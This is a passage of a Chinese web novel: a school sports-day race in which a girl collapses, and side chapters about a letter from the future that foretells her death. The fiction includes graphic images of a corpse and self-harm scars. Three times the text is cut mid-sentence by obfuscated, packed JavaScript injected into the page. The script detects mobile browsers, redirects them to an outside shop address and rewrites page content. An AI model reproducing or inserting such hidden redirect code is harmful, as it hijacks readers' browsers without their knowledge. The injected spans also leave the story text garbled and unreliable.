枪声响起,她们出发了。 姜青杳知道自己的耐力不行但是冲刺能力可以,她的五十米跑常常是班上第一的水平,于是她刚开始跑就莽足了劲儿冲在了前面。她刚跑出去就贴着最内圈冲刺,能看到周围的人议论声。 “我去,她谁啊,一千六百米前面跑这么快?” “难道是体育生?但是看起来也不太像啊。” 听着周围人的议论声,姜青杳在内心里嗤笑,她跑完这四百米就会是倒数第一了。 林城新参加了男子两千米跑,也跑在第一个,默默跟在姜青杳的右边守着她的内圈。 跑完第一圈的四百米,姜青杳的耐力渐渐耗空,转头见林城新也在慢慢减缓步伐和她保持同频跑步,便喘着粗气摆了摆手:“体,体委,你自己跑吧,我不行了,别耽误你跑第一。” 现下,她跑得越来越慢,跟她走路的速度差不多,保持在大队伍的中间。 她看得出来,林城新的呼吸稳而不乱,是配合着呼吸节奏进行跑步的,为了跟着她保持同频不让其他人将她挤到跑道的外圈才一直减缓步频和她在一起跑步。他应该是拿奖的人。 “没事,拿不拿奖无所谓,我陪你一起跑完吧。”林城新笑笑。 “我是真不行了,我后面打算走完的,体委,你跑你的吧,别管我。”姜青杳说。 见林城新还在减缓步频,姜青杳有些懊恼,说:“体委,真的,你别管我了,我说不定等下就不跑了然后假装晕倒了,这样比赛也算是完成了。”说着,姜青杳开始假装扶额不舒服。 林城新见姜青杳装晕的样子,笑了起来:“行,那你跑不动的话就装晕倒,别勉强。” “嗯嗯,拜拜。”姜青杳挥挥手,看林城新跑得越来越远。 - 沈佩淑迷迷糊糊醒来的时候,发现教室依旧空无一人,抬手捏了捏眉心感觉疲劳散去了,痛经带来的疼痛也减轻了不少,于是看了看腕表,刚睡醒的懵懵感全然散去——三点二十分! 沈佩淑焦急地站起来,一边慌慌张张用手腕上的黑色皮筋扎起高马尾一边快速跑着。 学校报运动项目的都可以获得课外学分,但是为了防止有人报了项目而不参加的情况,会对报了项目但是又没有参加的人扣除一定学分,而她们的高考除了看高考成绩也会看课外学分。她每年都报运动项目就是为了在高三之前把课外学分拿满分然后高三安安心心复习备考高考,但是现在……沈佩淑越想越焦急,下楼梯的时候不小心和一个人相撞上,连忙说了句“抱歉”就准备离开。 林安彩被沈佩淑重重撞了肩膀,有些吃痛地捂着肩膀,抬头刚想说些什么,发现是沈佩淑,有些纳闷地喊住她:“诶?沈佩淑?你不是在班上休息吗?你这么着急去干什么?” 沈佩淑没办法,停下了步伐,皱眉看着林安彩,听完她说的话,眉头渐渐松散开,内心的焦急转而被疑惑替代。林安彩是运动会后勤人员,自然知道报了项目不去会扣学分的事情,但是她好像一点特别的反应都没有?难道林城新帮她找到了替补的人?于是开口问:“我的项目……” 更疑惑了,林安彩挠了挠后脑勺,说:“你不知道吗?姜青杳前不久和我说,你身体不舒服,已经说好了她代你跑女子一千六百米啊?刚刚比赛已经开始了,她已经别上了你的号码牌开跑了。” 疯了……姜青杳真的是疯了。 沈佩淑点点头,说:“谢谢你,我先走了。” 说完,沈佩淑就跑走了,留下林安彩站在原地。 - “现在正在进行的比赛是女子一千六百米跑……” 广播站开始念大家写的稿子了,被入选的稿子能给给班级加分。 说实在的,姜青杳真的觉得自己是疯了才会替补上沈佩淑跑女子一千六百米。枪声响起的那一刻,姜青杳就后悔了,彻底后悔了——她和沈佩淑的交情压根不至于到她要为她做到这种地步吧? 姜青杳深吸一口气,扶着腰开始快走,跑不行,她走完还不行嘛,她走路可快了。 但是渐渐的,平常几乎不锻炼身体的双腿开始延迟泛酸肿胀,姜青杳感觉走路都觉得有点疲惫,有些晕乎乎的。她侧头看了看正在对面跑道的大部队,再看了看前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16680008|188470||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面的人,咬咬牙,锁定了一个号码牌,开始眼睛专注着盯着那个号码牌快走,感觉腿休息好了又开始小步慢跑。 跑道上的人渐渐少了起来,围观的人群也渐渐走空,只剩下裁判和记录的学生依旧在看。 已经不知道自己跑了多少圈多少米,只知道时间的流逝堪比平板支撑,渐渐的,姜青杳只能低着头看着不断后移的跑道线和红色的塑胶跑道以及自己的白色运动鞋,开始机械性地重复迈步。 沈佩淑赶到比赛场地的时候,就看到跑道上只剩下三四个人还在跑,比赛已经过去了快十分钟。她焦急地跑到记录的学生旁问:“同学您好,她们这是还剩下多少圈了?” 记录的学生被问到有些迷茫,指了指那个红马甲:“我不太清楚,每个人的马甲后面有机器记录着,跑完一千六百米到我们终点这里的时候机器会响,这个时候我就可以记录名次了。” “……好吧,谢谢你。”沈佩淑点点头,快步离开了。 姜青杳的号码牌是20号。 沈佩淑抬头努力张望,想看看姜青杳到底在哪里,没想到就看到低着头大喘气跑步的姜青杳从自己身边经过,于是跟上去在跑道外的绿皮草地内围跟着一起跑:“姜青杳,跑不动就别跑了。” 姜青杳意识已经混沌的时候,隐隐约约听到耳边有人在说话,在喊她的名字。于是她抬起沉重的眼皮,喘着粗气,看向旁边,发现那个平日里一直很少和自己说话的同桌正神色紧张地看着她,嘴巴正一张一合说着些什么。但是汗渍流过鼻尖,眼镜框滑落,姜青杳只好将眼镜框收起来准备放在口袋里,沈佩淑看到了就一边小跑着一边伸手:“给我,我帮你拿着,免得摔碎了。” “好。”姜青杳小声应着,将眼镜给了沈佩淑,又开始低头慢走。 沈佩淑见姜青杳的头越来越低,迈步的速度也越来越慢,担心她要昏倒,于是一直在她旁边喊着她的名字,想到哪里说到哪里:“姜青杳!实在不行就别跑了!你已经很努力了!” “不行不行,我数了我已经跑了三圈了,还剩下一圈……”姜青杳摇摇头。 她要是只跑了一圈就放弃她可以接受,但是她现在已经跑了三圈还剩下一圈了。 “那,那你慢慢走,我陪你走,还剩下半圈就结束了,加油!” “我超!!!小心!!!” 沈佩淑闻声望去,发现操场内部扔铅球项目的人正失声尖叫,周围的人大喊小心。 “姜青杳!”沈佩淑慌忙扑过去想要推开姜青杳。 此时,姜青杳呼吸越来越急促,感觉大脑的氧气越来越稀薄,嗓子里的鱼腥味蔓延开来,眼前的跑道已经有些扭曲,耳边沈佩淑的声音像是从遥远的地方传来。直到眼前突然一黑,她像是瞬间坠落在森林里被枯枝烂叶遮盖的捕兽洞中,重重地跌落在了那个塑胶跑道上。 “怎么回事?!”周围的学生看到两个昏倒在地上的学生开始议论纷纷尖叫起来。 裁判也火速赶来,询问了事情经过才知道女子一千六百米跑的大部分人员已经在四五分钟前跑完了,统计的学生忘记了还有姜青杳在跑一千六百米,于是在操场草地内部的铅球比赛开始了。 被指责的学生会主席低着头挨老师的骂,扔铅球的学生也吓得开始大哭。 “愣着干什么啊!快叫救护车送人去医院啊!” 29. 29.在到处之间(支线)^^…… (本章可以搭配Frakkur的单曲《Amm?lisstrákur》食用。) 在昏迷的期间,沈佩淑做了一个梦。 她梦到了以前,很久很久的以前和并不久远的以前。 那是非常偶然的一天,还没有知道“姜青杳”这个人的存在的时候。 那天,沈佩淑刚从学校回来,忙着回房间洗个澡洗个头发来温暖被意外来临的暴雨淋湿的身子。洗完澡吹完头发出来,她发现床头柜上多了一个厚厚的信封。 应该是白色的信封,但是鼓囊囊的,再加上时间有些久远的原因,有些泛黄——看起来就像是上个年代装着好不容易发下来的工资的信封。沈佩淑下意识地伸手拿起来,打开了信封。 信上说这是一封来自未来的信。 说一年后的十月份,她会遇到一个叫“姜青杳”的转校生,然后她们会成为同桌,会成为非常非常要好的朋友。但是十二年后的今天,2019年10月02日,姜青杳已经不在这个世界上了。 按照一般的剧情,她会按照信上的说法去做这位自称是来自未来的人要求她做的事情。 但是很可惜,她并不信什么玄学鬼神之说,只是觉得这是一个恶作剧,又或者是寄错的信。 写信的人仿佛知道她看了开头就嗤之以鼻地打算把这封厚厚的信收起来。 在简要地介绍了写信的目的后,又用很鲜艳的红墨水在这页信纸剩下的一大半空白处写了两行大字,像是隔着时空用红色的大喇叭对她呐喊道:“请你耐心看完第二页!你会相信我的。” 第一句话用的是感叹号结尾,第二句话用的是句号结尾。 沈佩淑皱了皱眉,写信的人似乎很笃定她会因为第二页的内容就开始认真相信这封信。 她当即转头看了看桌上的闹钟,距离吃晚饭还有一段时间,可以花几分钟时间浪费在这上面。 信上说,明天晚间会突然下大暴雨,家里的司机会因为暴雨堵车半小时。为了明天晚上不继续在从教室到车上的路程间,因为没有伞被暴雨淋湿,记得带把伞。于是吃完饭的沈佩淑特意坐在了电视机面前看了天气预报——之前都是管家在她出门前准备好雨具,这次她想自己看看。 天气预报说明天一整天都是晴天。 沈佩淑松了口气。 来自未来的信,这种桥段虽然在近几年来很流行,但是现实真的会发生吗? 但,沈佩淑还是带伞了。 下午五点下课铃一打,暴雨准时来临。 沈佩淑怔怔地看着窗外突然阴沉沉的天。 “怎么突然下暴雨了?天气预报不是说是晴天吗?” “怎么办啊?这怎么回家啊?” “算了……以后不管天气预报有没有雨我都备上一把伞好了。” “你说,要是淋雨了发高烧了是不是就可以不上学了?” “美得你,到时候中考考不上省重点中学就完蛋了。” “……”旁边的同学还在有一搭没一搭地对话着消磨暴雨的时间。 沈佩淑已经彻底呆愣住了——假的吧,这应该是概率问题。 虽然她这样在心底告诉自己,但是那天晚上她回家洗完澡就拆开了信继续看后面的内容了。 信上说,过几天的秋季运动会上小澈会因为没有拉伸而肌肉拉伤。 那晚,沈佩淑就跑到沈奕澈的房间门口敲门,得到的答案是“没有啊,我没有报项目”。 果然,是假的,是恶作剧吧? 秋季运动会那一天很快就到来了。 学校放了假,这两天班不用上课。 一回到家,沈佩淑就听到管家说小澈在运动会上拉伤了,要在家里静养。 “小澈少爷的朋友突然脚扭了,没人上场,他就替人上场了,没想到他自己也拉伤了。” 听到管家伯伯的话,沈佩淑只觉得大脑空白。 她开始动摇了,这封信它已经成功预言了两件事。 那晚,她又打开了那封信,继续往后看后面的内容,想知道家里会不会发生什么大事,她能不能通过这封信去避免那些不好的事情发生——但是很意外,后面就没有和她家里人相关的信息了。 信的主人在第三页写了一个简短的日期,2008年10月02日。 她觉得纳闷,这个日期究竟意味着什么。 沈佩淑翻了翻后面的一页,发现信并没有多说“2008年10月02日”会发生的事情,只是继续说2008年的跨年晚会记得报名。她有些忐忑,这种感觉不亚于躺在浴缸里看着自己的血流尽。 时间终于来到了2008年10月02日。 那天晴空万里,沈佩淑害怕地拉着本来要出门去农家乐散散心的家人们,让她们都呆在家里。那一天里,她时不时紧张地看着时钟,连午觉也没有睡。直到时钟的指针指向了2008年10月03日,沈佩淑终于发现了——这一天其实什么事情也没有,她成功地被这个恶作剧给整到了! 2008年10月03日,沈佩淑将这封厚厚的信丢在了抽屉的最底层。 2008年的跨年晚会,她自然也没有报名。 2009年,沈佩淑已经是省重点高中的一名学生了,迎来了住校生活的第二个国庆假期。 学校放了七天的假,沈佩淑自然也回到了家里住着。 2009年10月02日,她本以为是平常的一天,直到晚上吃完饭意外路过客厅,看到电视机上播放的新闻——“悲痛!启明市盛成律师事务所著名刑辩律师叶知舟遇害!”这一行字印入眼帘。 沈佩淑看着电视里的新闻报道画面,突然觉得窒息,她忽然想到了那封信。 她下意识奔跑上楼,凭着记忆找到了抽屉里最底层的那封信,颤抖着双手打开了更加灰蒙蒙的信封,她才发现写着2008年10月02日这个日期的这页纸,有许多已经洇干的泪滴。 就像是碾碎的绿叶,叶子上的脉络在这一刻清晰地展现在她的面前。 那名被压在一男一女身下的少女,是不是就是姜青杳? 那晚,沈佩淑不再像以前那样,只随意看了看当天或者是第二天的信息,她熬了个通宵将那封厚厚的信读完了。信上说,“十二年后的今天,2019年10月02日,姜青杳已经不在这个世界上了。” 她就这样,草草地,读完了一个人的一生。 沈佩淑抬头看了看窗外的天空。 她想到信里说,有一天姜青杳突然约她爬山,她事情太多就没去。 然后那天早上醒来,看到姜青杳发了一个朋友圈,配图是溏心状的太阳和连绵不绝的山,文案是“好像咸鸭蛋,但是我现在想吃不咸的鸭蛋”。她突然知道,溏心状的太阳是什么样的了。 信上说,姜青杳最后是因为家族遗传的强迫症去世的。 那一年是2009年,网络并没有那么发达。沈佩淑花了一下午的时间坐在电脑前搜索“强迫症”,得到的信息都很少很少,只有一部2008年的短片《强迫症患者的血腥臆想》挂在搜索结果的前几页。她点开看了,短短几分钟,让她的心沉了又沉,对这种未知的病感觉到了彻底的恐惧。 繁乱的脉络如手掌上的纹路,又像是山上连绵不绝的树,更像是学校墙壁上肆意生长的爬墙虎。沈佩淑回想着《强迫症患者的血腥臆想》里断裂的参杂着血液的砖块,她仿佛看到一个少女踏上了那样的路,看着少女每走一步她的躯体就被突然张开嘴的砖块吞噬掉一个组织部位,最终她看到满是鲜血的头颅静静地躺在遥远不知尽头的路的某段路口。她想要退却离开这个恐怖的地方,却发现回头是被压在妈妈和爸爸身下痛哭呐喊救命的姜青杳,左右是四散的身体组织,她开始尖叫。 那晚沈佩淑做了噩梦。 她梦到姜青杳因为窒息而死.亡的扭曲的躯体,显著的暗紫红色尸.斑在躯.体上,被割.裂又治愈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16694396|188470||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的一道道划.痕在细瘦的手臂上盘旋,肥胖的肚子在这具四肢纤细的躯.体上格外突出。她看到法医用剪刀剪去捆绕着的一圈又一圈的毛线,从未见过的少女颜面发绀,很难想象信里说姜青杳是一个皮肤非常白皙的人,像蛇果一样鲜艳的红唇此刻也那样的紫绀。沈佩淑再次尖叫。 醒来的她将这封厚厚的信再次丢到抽屉的最深处。 昏昏沉沉的沈佩淑因此发了高烧,国庆剩下的几天假期她一直在床上躺着输液。 因为高烧昏睡的沈佩淑意外的没有做过噩梦,最常梦到的就是自己躺在一艘纸做的船上静静地顺着温暖的泉水漂浮,她只能看到炽热的红似心脏的天空在她的上空。退烧的那天,沈佩淑又梦到了那艘船,奇怪的是这一次她可以自己从船上坐起来了,于是她发现她根本不是在泉水上漂浮,而是红色的河流里漂浮。是血吗?她问自己,于是她好奇地舀起一捧红色的水,轻轻地低头嗅着——甜甜的,没有血的腥臭味,更像是苹果糖的外壳,那个染着色素的甜甜的外壳化成的糖水。 醒来的沈佩淑再次抬头,看了看窗外的天空,泛粉的晚霞无限延展。 她的视线再次转移,定定地看了看被她藏在最深处的那封厚厚的信所在方向。 随后,她起身开始整理自己的行李,直到第二天去学校,她也没有再次打开那个抽屉。 这种无能为力的遗憾通过某种神奇的手段传达给她,祈望她能够做些什么去挽救这个已经定死的结局,她能体会到这种无力和愧疚。可是她又不是什么圣人,她又能为此做些什么呢?这个世界终究是物质的,她也不是什么拥有魔法的魔法少女,她没有可以使用的库洛牌,她什么也没有。 回到学校的日子照常的过,照常带着困倦从温暖的被窝离开,照常一边啃着从食堂打包的豆沙包一边读着随身携带的单词本,照常在周一的国旗下讲话悄悄地闭上眼睛打盹儿,照常在九点五十的下课铃打响的时候和其他已经有些困倦的同学们下意识抬起头看向时钟,然后从茫茫题海中脱离,在清完桌面后快步跑回宿舍洗漱准备睡觉。一切都是那样的正常,直到2009年10月29号到来。 “占用大家几分钟时间。” 正在上自习课的沈佩淑听到班主任突然走到门口敲了敲门这样说,握笔的手不禁一紧。 “咱们班上转来了一个新同学,大家掌声欢迎。” 她突然想起信上说的“一年后的十月份,你会遇到一个叫姜青杳的转校生,然后你们会成为同桌,会成为非常非常要好的朋友”。只是当时信上的时间说的一年后是2008年,现在是2009年。 虽然不知道这封信到底是哪里出了错,还是和信上预料的事情产生了分离,沈佩淑还是紧张得有些窒息了——这个转校生会是一名叫“姜青杳”的少女吗?如果是的话,她又是怎么样的一个人? 沈佩淑知道,她现在只要抬起头,就可以看到讲台上的那位新同学。 但是她有些不敢,她只能将注意力集中在面前的习题上。 “呃,大家好,我叫姜青杳,姜是生姜的姜……”非常细小的声音,还带着一丝颤抖。 班上响起了掌声,在掌声中沈佩淑听到班主任说:“那么,你就坐在沈佩淑旁边吧。” 接着,身旁的桌椅挪动,沈佩淑握笔的指尖开始泛白,心跳也在剧烈地颤抖着。 “你好,我叫沈佩淑,佩玉的佩,淑女的淑。” 沈佩淑佯装镇定地转头,借着自我介绍悄悄地打量坐在她身旁的姜青杳,握笔的手却暴露了一切。但是眼前的人似乎并没有察觉,只见她原本就红着局促的脸又添上了一抹羞红,然后愣愣地将刚刚自我介绍的话又重复了一遍:“你好,我叫姜青杳,姜是生姜的姜,青是青菜的青……” 好像突然被人提起来然后夹着尾巴颤抖的小狗。 这样一想,沈佩淑突然有点想笑:“杳是杳杳钟声晚的杳。” “你好,姜青杳。” 30. 30.还是会害怕(支线)^^…… (本章可以搭配郑宜农的单曲《还是会害怕失去你》食用。) 刚开始的时候,沈佩淑确实是在躲着姜青杳。 顾城有一首诗叫做《避免》: “你不愿意种花,你说,我不愿意看见它一点点凋落。” “是的,为了避免结束,你避免了一切开始。” 她既然已经知道了这个叫做“姜青杳”的人很大概率会在25岁生日那天选择靠近死亡,与其努力尝试了一切最终还是眼睁睁看着自己的好友选择提前奔向自己的自由,她宁可选择切断她们最初的联系,避免一切的开始才对。沈佩淑最开始是这样子想的,也觉得自己会一直这样想下去。 但是她不是一开始就是这样的。 在她八岁那年,沈佩淑在公园的湖边捡到了一只幼小的猫,浑身的毛都被打湿了,看起来像是一只丑陋的老鼠。于是她把这只小猫带回了家。时间久远,久远到沈佩淑已经想不起来她给那只小猫取的是什么名字了,小猫还没来得及记住承载着满满爱意的名字,就这样因为猫瘟夭折了。 那晚,沈佩淑想了很久——如果生命的终点是死亡,那么活着的意义又是什么? 她坐在书桌前托腮看窗外的沙沙作响的树叶,看和她一样在这个万千世界中渺小的存在,看她这辈子永远遥不可及的星空,然后她听到了隔壁房间仅一岁大的沈奕澈的啼哭,她突然想到八岁生日许的愿望:“我要活到九百九十九岁”。那时没有察觉的母亲和父亲的停顿,在此刻无限慢镜头回放。在无数个太阳和月亮交替的过程中,渺小的人们将永远没有尽头的时间按照自己的习惯刻画为一把长长的尺子,自此她们的人生有了刻度,而据沈佩淑所知,人最长的刻度也不过一百多岁。 当作为人类的她们将自己的人生刻上刻度,她们就与同等渺小的蜉蝣有了本质的区别。 她们的时间计算不再是降落的太阳和升起的月亮,不再是破壳破茧到羽翼的褪去,不再是嫩芽到果实。拥有智慧的她们使用工具将没有尽头的时间划分为“立春”“雨水”“惊蛰”“春分”“清明”“谷雨”“立夏”“小满”“芒种”“夏至”“小暑”“大暑”“立秋”“处暑”“白露”“秋分”“寒露”“霜降”“立冬”“小雪”“大雪”“冬至”“小寒”“大寒”这样的节气。 至此,她们对“未知”这个东西有了具象化的刻度,也就对“未知”产生了幸福的感觉。但是拥有智慧能够体会到幸福究竟是什么样的感觉,自然也会知道痛苦是什么样的感觉。 对于八岁的沈佩淑来说,最明显的痛苦是她意识到了作为“人类”这一整个整体的她们的尺子是无穷无尽的,而作为“个人”这一个自我本体的她们的尺子是长短不一的。 作为拥有智慧的人类,她无法再像一样同等渺小且拥有着寿命的蜉蝣没有目前科学所定义的“情绪感知”的活着,同样的,她也无法像滚滚的长江那样无穷无尽。“哀吾生之须臾,羡长江之无穷”。 但如果她拥有了永生,也是惩罚,是对拥有智慧的人类最残忍的惩罚,拥有情绪感知的她会看着拥有羁绊的她们一个个离去。 沈佩淑从升起的月亮开始思考,直到下一个太阳升起,她也没想出那个问题的答案。 但是她知道了避免徒增的痛苦的办法,那就是摒弃对未知产生幸福的冀盼,切断将来的羁绊。 所以当沈佩淑仔细看完信的前两页后,她的第一个反应是憎恨。 为什么是她?凭什么她要去承担这样的痛苦? 她没途径去憎恨寄出这封信的人,她只能将这种扭曲的憎恨转移到这封信想要拯救的人身上。 但是出于一些特殊的她并不知道的因素,这封信上说的第一次见面居然是在更后面的一年。 也许是漫长的时间消磨了她的恨意。 又或许是她作为一个“见证者”看到了2009年10月2号的新闻,见证推动了她再次打开了那封厚厚的信,以此她成为了一个人的“预言家”,“预言家”这样充满神性的身份无法不注视着自己预言下的人,就像是艺术家无法不爱上自己的缪斯。 再或者是2009年10月29号,那个她一直以来憎恨着的不知道究竟是如何形象的人以一个具体的形象出现在她面前,她自我介绍时颤抖的双腿、刚落座在她身旁时因为紧张还在大口喘气的呼吸、和她对视后更加羞红的脸颊,这些都在告诉她,告诉拥有“沈佩淑”这个名字的智慧生命体——“你憎恨的也是和你一样拥有智慧的鲜活的生命体”。 总之,她对姜青杳的憎恨消失了,转而替代的是害怕,一个作为“个体”的她的害怕,换句话说,就是一个生命体对另一个会过早消亡的生命体的同情,而同情创造了愧欠。 沈佩淑开始并没有意识到自己心态的转化。 事情是从她在卫生间遇到了姜青杳拿出卫生巾递给她开始出现的转变。 那之后,她开始惴惴不安地去观察姜青杳的行踪,因为她看到信上说住校没几天的姜青杳会因为过于思念自己的父亲而逃课跑去墓园,又会因为没有钱而在墓园蹲着哭泣直到守墓人发现她。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16707272|188470||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >其他人并不知道前段时间轰动全市的特大案件的受害者是姜青杳的爸爸,但是沈佩淑知道。 失去一只还没来得及记住自己名字的小猫就足以让她心里难受这么多年,那失去父亲呢? 那段时间她常常做梦。 如果她早一点相信信里的事情,是不是就可以阻拦这场可怕的事件? 这个答案她无法知晓,写信的那个人似乎也没有想要她这样去做,她也没有办法去问姜青杳。 就这样,怀着同情创造的愧欠,她开始了解姜青杳,不只是从那封信里。 姜青杳每个月都会痛经,严重到会呕吐,那几天总是会请假回家。 姜青杳很擅长政治和历史,她常常会读一些有关的课外书。 姜青杳最不擅长的是英语,她的口语不是很好,而且有时候说普通话的时候会分不清n和l。 姜青杳近视度数连她本人都忘记了,只记得是四百五百左右,天天戴眼镜所以不需要眼镜盒。 姜青杳的左眼下有一颗很明显的泪痣,但是仔细观察,会发现还有一颗淡淡的小一点的泪痣。 事情再度发生变化是八校联考出成绩的那天晚上。 她走在路上看到姜青杳落寂的背影,肩膀一耸一耸的,莫名想到了信里的那些话。 沈佩淑突然在想,患上强迫症的那几年的夜晚,姜青杳是不是也是这样孤寂地哭泣? 说不上来的情绪包裹了她,自此,汇聚沈佩淑情绪的海洋多了几滴咸咸的眼泪,同样咸的液体相互包裹着,无法剥离,就像是她和姜青杳的纽带。 起初,沈佩淑只是从信里了解姜青杳的时候,她只会觉得那封信的人未免过于偏爱姜青杳这个人。明明她如此的胆小敏感,脆弱的如捣药舀里易碎的药材,如河面上易散的水藻,如航行在溪流上的纸船。但是她发现,正是这种脆弱敏感造就了姜青杳的唯一。 在她痛经的时候,姜青杳会从包里翻出来止痛药,然后拿着她的保温杯去给她打水,等水温合适了才会倒给她喝。在运动会上,姜青杳就会拿着毛巾和温水站在终点不顾其他人的关注大声呼喊运动员的名字挥舞呐喊。在她请假回来后,姜青杳就会将她没有上的课的笔记放在她的桌面上,哪怕她总是刻意忽略她…… 她突然明白了,写信的那个人为什么会如此偏爱这个她原本厌恶的人。 “脆弱”和“坚韧”这两个矛盾的词组,它们就这样组成了姜青杳。 在这个世界里,姜青杳就像是水,温柔地包裹着同样脆弱敏感的沈佩淑。